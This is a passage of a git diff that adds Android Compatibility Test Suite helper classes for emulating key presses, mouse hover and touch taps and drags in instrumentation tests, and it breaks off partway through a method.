+ public static native boolean isMips64Cpu();
+
+ public static native boolean isX86_64Cpu();
+
+ public static native int getHwCaps();
+
+ public static boolean isArm64CpuIn32BitMode() {
+ if (!isArmCpu()) {
+ return false;
+ }
+
+ for (String abi : Build.SUPPORTED_64_BIT_ABIS) {
+ if (abi.equals("arm64-v8a")) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsAndroidTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
new file mode 100644
index 0000000..1ffad1d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.test.ActivityInstrumentationTestCase2;
+
+/**
+ * This class emulates AndroidTestCase, but internally it is ActivityInstrumentationTestCase2
+ * to access Instrumentation.
+ * DummyActivity is not supposed to be accessed.
+ */
+public class CtsAndroidTestCase extends ActivityInstrumentationTestCase2<DummyActivity> {
+ public CtsAndroidTestCase() {
+ super(DummyActivity.class);
+ }
+
+ public Context getContext() {
+ return getInstrumentation().getContext();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
new file mode 100644
index 0000000..97e4310
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+import android.view.View;
+import android.view.inputmethod.InputMethodManager;
+
+import java.lang.reflect.Field;
+
+/**
+ * Utility class to send KeyEvents bypassing the IME. The code is similar to functions in
+ * {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
+ * {@link InputMethodManager#dispatchKeyEventFromInputMethod(View, KeyEvent)} to send the events.
+ * After sending the events waits for idle.
+ */
+public final class CtsKeyEventUtil {
+
+ private CtsKeyEventUtil() {}
+
+ /**
+ * Sends the key events corresponding to the text to the app being instrumented.
+ *
+ * @param instrumentation the instrumentation used to run the test.
+ * @param targetView View to find the ViewRootImpl and dispatch.
+ * @param text The text to be sent. Null value returns immediately.
+ */
+ public static void sendString(final Instrumentation instrumentation, final View targetView,
+ final String text) {
+ if (text == null) {
+ return;
+ }
+
+ KeyEvent[] events = getKeyEvents(text);
+
+ if (events != null) {
+ for (int i = 0; i < events.length; i++) {
+ // We have to change the time of an event before injecting it because
+ // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
+ // time stamp and the system rejects too old events. Hence, it is
+ // possible for an event to become stale before it is injected if it
+ // takes too long to inject the preceding ones.
+ sendKey(instrumentation, targetView, KeyEvent.changeTimeRepeat(
+ events[i], SystemClock.uptimeMillis(), 0 /* newRepeat */));
+ }
+ }
+ }
+
+ /**
+ * Sends a series of key events through instrumentation. For instance:
+ * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
+ *
+ * @param instrumentation the instrumentation used to run the test.
+ * @param targetView View to find the ViewRootImpl and dispatch.
+ * @param keys The series of key codes.
+ */
+ public static void sendKeys(final Instrumentation instrumentation, final View targetView,
+ final int...keys) {
+ final int count = keys.length;
+
+ for (int i = 0; i < count; i++) {
+ try {
+ sendKeyDownUp(instrumentation, targetView, keys[i]);
+ } catch (SecurityException e) {
+ // Ignore security exceptions that are now thrown
+ // when trying to send to another app, to retain
+ // compatibility with existing tests.
+ }
+ }
+ }
+
+ /**
+ * Sends a series of key events through instrumentation. The sequence of keys is a string
+ * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
+ * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
+ * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
+ * sendKeys(view, "2*DPAD_LEFT").
+ *
+ * @param instrumentation the instrumentation used to run the test.
+ * @param targetView View to find the ViewRootImpl and dispatch.
+ * @param keysSequence The sequence of keys.
+ */
+ public static void sendKeys(final Instrumentation instrumentation, final View targetView,
+ final String keysSequence) {
+ final String[] keys = keysSequence.split(" ");
+ final int count = keys.length;
+
+ for (int i = 0; i < count; i++) {
+ String key = keys[i];
+ int repeater = key.indexOf('*');
+
+ int keyCount;
+ try {
+ keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
+ } catch (NumberFormatException e) {
+ Log.w("ActivityTestCase", "Invalid repeat count: " + key);
+ continue;
+ }
+
+ if (repeater != -1) {
+ key = key.substring(repeater + 1);
+ }
+
+ for (int j = 0; j < keyCount; j++) {
+ try {
+ final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
+ final int keyCode = keyCodeField.getInt(null);
+ try {
+ sendKeyDownUp(instrumentation, targetView, keyCode);
+ } catch (SecurityException e) {
+ // Ignore security exceptions that are now thrown
+ // when trying to send to another app, to retain
+ // compatibility with existing tests.
+ }
+ } catch (NoSuchFieldException e) {
+ Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
+ break;
+ } catch (IllegalAccessException e) {
+ Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
+ break;
+ }
+ }
+ }
+ }
+
+ /**
+ * Sends an up and down key events.
+ *
+ * @param instrumentation the instrumentation used to run the test.
+ * @param targetView View to find the ViewRootImpl and dispatch.
+ * @param key The integer keycode for the event to be sent.
+ */
+ public static void sendKeyDownUp(final Instrumentation instrumentation, final View targetView,
+ final int key) {
+ sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
+ sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
+ }
+
+ /**
+ * Sends a key event.
+ *
+ * @param instrumentation the instrumentation used to run the test.
+ * @param targetView View to find the ViewRootImpl and dispatch.
+ * @param event KeyEvent to be send.
+ */
+ public static void sendKey(final Instrumentation instrumentation, final View targetView,
+ final KeyEvent event) {
+ validateNotAppThread();
+
+ long downTime = event.getDownTime();
+ long eventTime = event.getEventTime();
+ int action = event.getAction();
+ int code = event.getKeyCode();
+ int repeatCount = event.getRepeatCount();
+ int metaState = event.getMetaState();
+ int deviceId = event.getDeviceId();
+ int scanCode = event.getScanCode();
+ int source = event.getSource();
+ int flags = event.getFlags();
+ if (source == InputDevice.SOURCE_UNKNOWN) {
+ source = InputDevice.SOURCE_KEYBOARD;
+ }
+ if (eventTime == 0) {
+ eventTime = SystemClock.uptimeMillis();
+ }
+ if (downTime == 0) {
+ downTime = eventTime;
+ }
+
+ final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
+ metaState, deviceId, scanCode, flags, source);
+
+ InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
+ imm.dispatchKeyEventFromInputMethod(null, newEvent);
+ instrumentation.waitForIdleSync();
+ }
+
+ /**
+ * Sends a key event while holding another modifier key down, then releases both keys and
+ * waits for idle sync. Useful for sending combinations like shift + tab.
+ *
+ * @param instrumentation the instrumentation used to run the test.
+ * @param targetView View to find the ViewRootImpl and dispatch.
+ * @param keyCodeToSend The integer keycode for the event to be sent.
+ * @param modifierKeyCodeToHold The integer keycode of the modifier to be held.
+ */
+ public static void sendKeyWhileHoldingModifier(final Instrumentation instrumentation,
+ final View targetView, final int keyCodeToSend,
+ final int modifierKeyCodeToHold) {
+ final int metaState = getMetaStateForModifierKeyCode(modifierKeyCodeToHold);
+ final long downTime = SystemClock.uptimeMillis();
+
+ final KeyEvent holdKeyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+ modifierKeyCodeToHold, 0 /* repeat */);
+ sendKey(instrumentation ,targetView, holdKeyDown);
+
+ final KeyEvent keyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+ keyCodeToSend, 0 /* repeat */, metaState);
+ sendKey(instrumentation, targetView, keyDown);
+
+ final KeyEvent keyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
+ keyCodeToSend, 0 /* repeat */, metaState);
+ sendKey(instrumentation, targetView, keyUp);
+
+ final KeyEvent holdKeyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
+ modifierKeyCodeToHold, 0 /* repeat */);
+ sendKey(instrumentation, targetView, holdKeyUp);
+
+ instrumentation.waitForIdleSync();
+ }
+
+ private static int getMetaStateForModifierKeyCode(int modifierKeyCode) {
+ if (!KeyEvent.isModifierKey(modifierKeyCode)) {
+ throw new IllegalArgumentException("Modifier key expected, but got: "
+ + KeyEvent.keyCodeToString(modifierKeyCode));
+ }
+
+ int metaState;
+ switch (modifierKeyCode) {
+ case KeyEvent.KEYCODE_SHIFT_LEFT:
+ metaState = KeyEvent.META_SHIFT_LEFT_ON;
+ break;
+ case KeyEvent.KEYCODE_SHIFT_RIGHT:
+ metaState = KeyEvent.META_SHIFT_RIGHT_ON;
+ break;
+ case KeyEvent.KEYCODE_ALT_LEFT:
+ metaState = KeyEvent.META_ALT_LEFT_ON;
+ break;
+ case KeyEvent.KEYCODE_ALT_RIGHT:
+ metaState = KeyEvent.META_ALT_RIGHT_ON;
+ break;
+ case KeyEvent.KEYCODE_CTRL_LEFT:
+ metaState = KeyEvent.META_CTRL_LEFT_ON;
+ break;
+ case KeyEvent.KEYCODE_CTRL_RIGHT:
+ metaState = KeyEvent.META_CTRL_RIGHT_ON;
+ break;
+ case KeyEvent.KEYCODE_META_LEFT:
+ metaState = KeyEvent.META_META_LEFT_ON;
+ break;
+ case KeyEvent.KEYCODE_META_RIGHT:
+ metaState = KeyEvent.META_META_RIGHT_ON;
+ break;
+ case KeyEvent.KEYCODE_SYM:
+ metaState = KeyEvent.META_SYM_ON;
+ break;
+ case KeyEvent.KEYCODE_NUM:
+ metaState = KeyEvent.META_NUM_LOCK_ON;
+ break;
+ case KeyEvent.KEYCODE_FUNCTION:
+ metaState = KeyEvent.META_FUNCTION_ON;
+ break;
+ default:
+ // Safety net: all modifier keys need to have at least one meta state associated.
+ throw new UnsupportedOperationException("No meta state associated with "
+ + "modifier key: " + KeyEvent.keyCodeToString(modifierKeyCode));
+ }
+
+ return KeyEvent.normalizeMetaState(metaState);
+ }
+
+ private static KeyEvent[] getKeyEvents(final String text) {
+ KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
+ return keyCharacterMap.getEvents(text.toCharArray());
+ }
+
+ private static void validateNotAppThread() {
+ if (Looper.myLooper() == Looper.getMainLooper()) {
+ throw new RuntimeException(
+ "This method can not be called from the main application thread");
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMockitoUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMockitoUtils.java
new file mode 100644
index 0000000..54985dc
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMockitoUtils.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.mockito.verification.VerificationMode;
+
+public class CtsMockitoUtils {
+ private CtsMockitoUtils() {}
+
+ public static VerificationMode within(long timeout) {
+ return new Within(timeout);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMouseUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMouseUtil.java
new file mode 100644
index 0000000..99228fe
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMouseUtil.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.mockito.Matchers.argThat;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+
+import android.os.SystemClock;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+
+import org.mockito.ArgumentMatcher;
+import org.mockito.InOrder;
+
+public final class CtsMouseUtil {
+
+ private CtsMouseUtil() {}
+
+ public static View.OnHoverListener installHoverListener(View view) {
+ return installHoverListener(view, true);
+ }
+
+ public static View.OnHoverListener installHoverListener(View view, boolean result) {
+ final View.OnHoverListener mockListener = mock(View.OnHoverListener.class);
+ view.setOnHoverListener((v, event) -> {
+ // Clone the event to work around event instance reuse in the framework.
+ mockListener.onHover(v, MotionEvent.obtain(event));
+ return result;
+ });
+ return mockListener;
+ }
+
+ public static void clearHoverListener(View view) {
+ view.setOnHoverListener(null);
+ }
+
+ public static MotionEvent obtainMouseEvent(int action, View anchor, int offsetX, int offsetY) {
+ final long eventTime = SystemClock.uptimeMillis();
+ final int[] screenPos = new int[2];
+ anchor.getLocationOnScreen(screenPos);
+ final int x = screenPos[0] + offsetX;
+ final int y = screenPos[1] + offsetY;
+ MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
+ event.setSource(InputDevice.SOURCE_MOUSE);
+ return event;
+ }
+
+ public static class ActionMatcher implements ArgumentMatcher<MotionEvent> {
+ private final int mAction;
+
+ public ActionMatcher(int action) {
+ mAction = action;
+ }
+
+ @Override
+ public boolean matches(MotionEvent actual) {
+ return actual.getAction() == mAction;
+ }
+
+ @Override
+ public String toString() {
+ return "action=" + MotionEvent.actionToString(mAction);
+ }
+ }
+
+ public static class PositionMatcher extends ActionMatcher {
+ private final int mX;
+ private final int mY;
+
+ public PositionMatcher(int action, int x, int y) {
+ super(action);
+ mX = x;
+ mY = y;
+ }
+
+ @Override
+ public boolean matches(MotionEvent actual) {
+ return super.matches(actual)
+ && ((int) actual.getX()) == mX
+ && ((int) actual.getY()) == mY;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString() + "@(" + mX + "," + mY + ")";
+ }
+ }
+
+ public static void verifyEnterMove(View.OnHoverListener listener, View view, int moveCount) {
+ final InOrder inOrder = inOrder(listener);
+ verifyEnterMoveInternal(listener, view, moveCount, inOrder);
+ inOrder.verifyNoMoreInteractions();
+ }
+
+ public static void verifyEnterMoveExit(
+ View.OnHoverListener listener, View view, int moveCount) {
+ final InOrder inOrder = inOrder(listener);
+ verifyEnterMoveInternal(listener, view, moveCount, inOrder);
+ inOrder.verify(listener, times(1)).onHover(eq(view),
+ argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_EXIT)));
+ inOrder.verifyNoMoreInteractions();
+ }
+
+ private static void verifyEnterMoveInternal(
+ View.OnHoverListener listener, View view, int moveCount, InOrder inOrder) {
+ inOrder.verify(listener, times(1)).onHover(eq(view),
+ argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_ENTER)));
+ inOrder.verify(listener, times(moveCount)).onHover(eq(view),
+ argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_MOVE)));
+ }
+}
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
new file mode 100644
index 0000000..16796a8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -0,0 +1,568 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
+import android.os.SystemClock;
+import android.util.SparseArray;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.ViewGroup;
+
+/**
+ * Test utilities for touch emulation.
+ */
+public final class CtsTouchUtils {
+ /**
+ * Interface definition for a callback to be invoked when an event has been injected.
+ */
+ public interface EventInjectionListener {
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
+ * @param xOnScreen X coordinate of the injected event.
+ * @param yOnScreen Y coordinate of the injected event.
+ */
+ public void onDownInjected(int xOnScreen, int yOnScreen);
+
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
+ * @param xOnScreen X coordinates of the injected event.
+ * @param yOnScreen Y coordinates of the injected event.
+ */
+ public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
+
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
+ * @param xOnScreen X coordinate of the injected event.
+ * @param yOnScreen Y coordinate of the injected event.
+ */
+ public void onUpInjected(int xOnScreen, int yOnScreen);
+ }
+
+ private CtsTouchUtils() {}
+
+ /**
+ * Emulates a tap in the center of the passed {@link View}.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to "tap"
+ */
+ public static void emulateTapOnViewCenter(Instrumentation instrumentation, View view) {
+ emulateTapOnView(instrumentation, view, view.getWidth() / 2, view.getHeight() / 2);
+ }
+
+ /**
+ * Emulates a tap on a point relative to the top-left corner of the passed {@link View}. Offset
+ * parameters are used to compute the final screen coordinates of the tap point.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param anchorView the anchor view to determine the tap location on the screen
+ * @param offsetX extra X offset for the tap
+ * @param offsetY extra Y offset for the tap
+ */
+ public static void emulateTapOnView(Instrumentation instrumentation, View anchorView,
+ int offsetX, int offsetY) {
+ final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
+ // Get anchor coordinates on the screen
+ final int[] viewOnScreenXY = new int[2];
+ anchorView.getLocationOnScreen(viewOnScreenXY);
+ int xOnScreen = viewOnScreenXY[0] + offsetX;
+ int yOnScreen = viewOnScreenXY[1] + offsetY;
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final long downTime = SystemClock.uptimeMillis();
+
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+ injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+
+ // Wait for the system to process all events in the queue
+ instrumentation.waitForIdleSync();
+ }
+
+ /**
+ * Emulates a double tap in the center of the passed {@link View}.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to "double tap"
+ */
+ public static void emulateDoubleTapOnViewCenter(Instrumentation instrumentation, View view) {
+ emulateDoubleTapOnView(instrumentation, view, view.getWidth() / 2, view.getHeight() / 2);
+ }
+
+ /**
+ * Emulates a double tap on a point relative to the top-left corner of the passed {@link View}.
+ * Offset parameters are used to compute the final screen coordinates of the tap points.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param anchorView the anchor view to determine the tap location on the screen
+ * @param offsetX extra X offset for the taps
+ * @param offsetY extra Y offset for the taps
+ */
+ public static void emulateDoubleTapOnView(Instrumentation instrumentation, View anchorView,
+ int offsetX, int offsetY) {
+ final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
+ // Get anchor coordinates on the screen
+ final int[] viewOnScreenXY = new int[2];
+ anchorView.getLocationOnScreen(viewOnScreenXY);
+ int xOnScreen = viewOnScreenXY[0] + offsetX;
+ int yOnScreen = viewOnScreenXY[1] + offsetY;
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final long downTime = SystemClock.uptimeMillis();
+
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+ injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+ injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+
+ // Wait for the system to process all events in the queue
+ instrumentation.waitForIdleSync();
+ }
+
+ /**
+ * Emulates a linear drag gesture between 2 points across the screen.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param dragStartX Start X of the emulated drag gesture
+ * @param dragStartY Start Y of the emulated drag gesture
+ * @param dragAmountX X amount of the emulated drag gesture
+ * @param dragAmountY Y amount of the emulated drag gesture
+ */
+ public static void emulateDragGesture(Instrumentation instrumentation,
+ int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
+ emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+ 2000, 20, null);
+ }
+
+ private static void emulateDragGesture(Instrumentation instrumentation,
+ int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+ int dragDurationMs, int moveEventCount) {
+ emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+ dragDurationMs, moveEventCount, null);
+ }
+
+ private static void emulateDragGesture(Instrumentation instrumentation,
+ int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+ int dragDurationMs, int moveEventCount,
+ EventInjectionListener eventInjectionListener) {
+ // We are using the UiAutomation object to inject events so that drag works
+ // across view / window boundaries (such as for the emulated drag and drop
+ // sequences)
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final long downTime = SystemClock.uptimeMillis();
+
+ injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
+
+ // Inject a sequence of MOVE events that emulate the "move" part of the gesture
+ injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
+ dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
+ eventInjectionListener);
+
+ injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
+ dragStartY + dragAmountY, eventInjectionListener);
+
+ // Wait for the system to process all events in the queue
+ instrumentation.waitForIdleSync();
+ }
+
+ /**
+ * Emulates a series of linear drag gestures across the screen between multiple points without
+ * lifting the finger. Note that this function does not support curve movements between the
+ * points.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param coordinates the ordered list of points for the drag gesture
+ */
+ public static void emulateDragGesture(Instrumentation instrumentation,
+ SparseArray<Point> coordinates) {
+ emulateDragGesture(instrumentation, coordinates, 2000, 20);
+ }
+
+ private static void emulateDragGesture(Instrumentation instrumentation,
+ SparseArray<Point> coordinates, int dragDurationMs, int moveEventCount) {
+ final int coordinatesSize = coordinates.size();
+ if (coordinatesSize < 2) {
+ throw new IllegalArgumentException("Need at least 2 points for emulating drag");
+ }
+ // We are using the UiAutomation object to inject events so that drag works
+ // across view / window boundaries (such as for the emulated drag and drop
+ // sequences)
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final long downTime = SystemClock.uptimeMillis();
+
+ injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
+
+ // Move to each coordinate.
+ for (int i = 0; i < coordinatesSize - 1; i++) {
+ // Inject a sequence of MOVE events that emulate the "move" part of the gesture.
+ injectMoveEventsForDrag(uiAutomation,
+ downTime,
+ true,
+ coordinates.get(i).x,
+ coordinates.get(i).y,
+ coordinates.get(i + 1).x,
+ coordinates.get(i + 1).y,
+ moveEventCount,
+ dragDurationMs,
+ null);
+ }
+
+ injectUpEvent(uiAutomation,
+ downTime,
+ true,
+ coordinates.get(coordinatesSize - 1).x,
+ coordinates.get(coordinatesSize - 1).y,
+ null);
+
+ // Wait for the system to process all events in the queue
+ instrumentation.waitForIdleSync();
+ }
+
+ private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
+ int yOnScreen, EventInjectionListener eventInjectionListener) {
+ MotionEvent eventDown = MotionEvent.obtain(
+ downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
+ eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ uiAutomation.injectInputEvent(eventDown, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
+ }
+ eventDown.recycle();
+ return downTime;
+ }
+
+ private static void injectMoveEventForTap(UiAutomation uiAutomation, long downTime,
+ int touchSlop, int xOnScreen, int yOnScreen) {
+ MotionEvent eventMove = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE,
+ xOnScreen + (touchSlop / 2.0f), yOnScreen + (touchSlop / 2.0f), 1);
+ eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ uiAutomation.injectInputEvent(eventMove, true);
+ eventMove.recycle();
+ }
+
+ private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
+ boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
+ int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
+ final int dragAmountX = dragEndX - dragStartX;
+ final int dragAmountY = dragEndY - dragStartY;
+ final int sleepTime = dragDurationMs / moveEventCount;
+
+ // sleep for a bit to emulate the overall drag gesture.
+ long prevEventTime = downTime;
+ SystemClock.sleep(sleepTime);
+ for (int i = 0; i < moveEventCount; i++) {
+ // Note that the first MOVE event is generated "away" from the coordinates
+ // of the start / DOWN event, and the last MOVE event is generated
+ // at the same coordinates as the subsequent UP event.
+ final int moveX = dragStartX + dragAmountX * (i + 1) / moveEventCount;
+ final int moveY = dragStartY + dragAmountY * (i + 1) / moveEventCount;
+ long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
+
+ // If necessary, generate history for our next MOVE event. The history is generated
+ // to be spaced at 10 millisecond intervals, interpolating the coordinates from the
+ // last generated MOVE event to our current one.
+ int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
+ int[] xCoordsForListener = (eventInjectionListener == null) ? null :
+ new int[Math.max(1, historyEventCount)];
+ int[] yCoordsForListener = (eventInjectionListener == null) ? null :
+ new int[Math.max(1, historyEventCount)];
+ MotionEvent eventMove = null;
+ if (historyEventCount == 0) {
+ eventMove = MotionEvent.obtain(
+ downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
+ if (eventInjectionListener != null) {
+ xCoordsForListener[0] = moveX;
+ yCoordsForListener[0] = moveY;
+ }
+ } else {
+ final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
+ final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
+ final int deltaMoveX = moveX - prevMoveX;
+ final int deltaMoveY = moveY - prevMoveY;
+ final long deltaTime = (eventTime - prevEventTime);
+ for (int historyIndex = 0; historyIndex < historyEventCount; historyIndex++) {
+ int stepMoveX = prevMoveX + deltaMoveX * (historyIndex + 1) / historyEventCount;
+ int stepMoveY = prevMoveY + deltaMoveY * (historyIndex + 1) / historyEventCount;
+ long stepEventTime = useCurrentEventTime
+ ? prevEventTime + deltaTime * (historyIndex + 1) / historyEventCount
+ : downTime;
+ if (historyIndex == 0) {
+ // Generate the first event in our sequence
+ eventMove = MotionEvent.obtain(downTime, stepEventTime,
+ MotionEvent.ACTION_MOVE, stepMoveX, stepMoveY, 1);
+ } else {
+ // and then add to it
+ eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
+ }
+ if (eventInjectionListener != null) {
+ xCoordsForListener[historyIndex] = stepMoveX;
+ yCoordsForListener[historyIndex] = stepMoveY;
+ }
+ }
+ }
+
+ eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ uiAutomation.injectInputEvent(eventMove, true);
+ if (eventInjectionListener != null) {
